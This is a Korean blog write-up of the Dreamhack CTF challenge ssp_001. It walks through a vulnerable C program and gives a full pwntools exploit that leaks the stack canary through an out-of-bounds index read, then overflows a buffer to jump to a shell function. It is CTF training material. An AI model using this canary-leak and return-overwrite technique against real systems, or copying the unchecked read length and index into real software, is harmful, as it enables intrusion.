Stack Canary Bypass – SSP_001

드림핵의 문제 중 스택 카나리 우회를 실습해 보았다.

문제의 코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh"); //#0. 쉘을 실행하는 부분
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx); //#1. canary가 노출되는 부분
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len); //#2. payload를 입력하는 부분
                return 0;
            default:
                break;
        }
    }
}

위 코드에서 주석으로 표시한 부분이 취약한 부분이다.

#0을 보면 쉘을 실행하는 부분을 확인할 수 있다. 이 함수의 주소를 확인하여 main에 ret에 덮으면 쉘이 실행될 수 있다.

#1을 보면, print_box는 앞서 입력한 Element index의 값에 위치한 인덱스를 보여주는 부분이다. 이 기능을 통해 원하는 스택의 값을 확인할 수 있다.

#2를 보면 입력한 name의 길이만큼 해당 name을 읽는 부분이 있다. 이 기능을 통해 payload를 입력해서 ret에 원하는 주소를 덮어쓸 수 있다.

먼저 #0의 함수의 주소를 gdb를 이용해서 확인한다.

#1의 취약점을 이용해서 canary를 구해준다.

이해를 위해 main()을 그림으로 표현하면 다음과 같다.

이때 131에서 역순으로 4바이트를 확인해주는데, 그 이유는 해당 프로그램이 32bit little-endian을 사용하기 때문이다.

#!/usr/bin/env python

from pwn import *

# process connect
#p = process('./ssp_001')
p = remote("host3.dreamhack.games",19152)
# get_shell() adress by gdb
get_shell = 0x80486b9

# get canary value
canary = b'0x'
for i in range(4): # 32 bit
    p.sendafter(b'> ', 'P')
    p.recvuntil(b'Element index : ')
    p.sendline(str(131 - i))
    p.recvuntil(b'is : ')
    canary += p.recvn(2)
print("canary in stack : "+canary)
canary = int(canary, 16)
print("canary hex value : "+str(canary))
canary32 = p32(canary) #packing 32bit arch
#print("canary 32bit liite endian : "+str(canary32))

#payload write
payload  = b'A'*64 #name buffer
payload += canary32 #canary
payload += b'B'*8 # sfp + dummy value
payload += p32(get_shell) #return address

#payload send
p.sendafter(b'> ','E')
p.sendlineafter(b'Name Size : ','80') #payload size = 80
p.recvuntil(b'Name : ')
p.sendline(payload)
p.interactive()

주의할점은 canary와 sfp 사이에 4-bytes의 더미가 있다는것이다.

여기에 유의해서 payload 길이를 맞추어 ret 값을 미리 알아낸 값으로 덮어써주면 flag가 나온다


게시됨

카테고리

작성자

태그: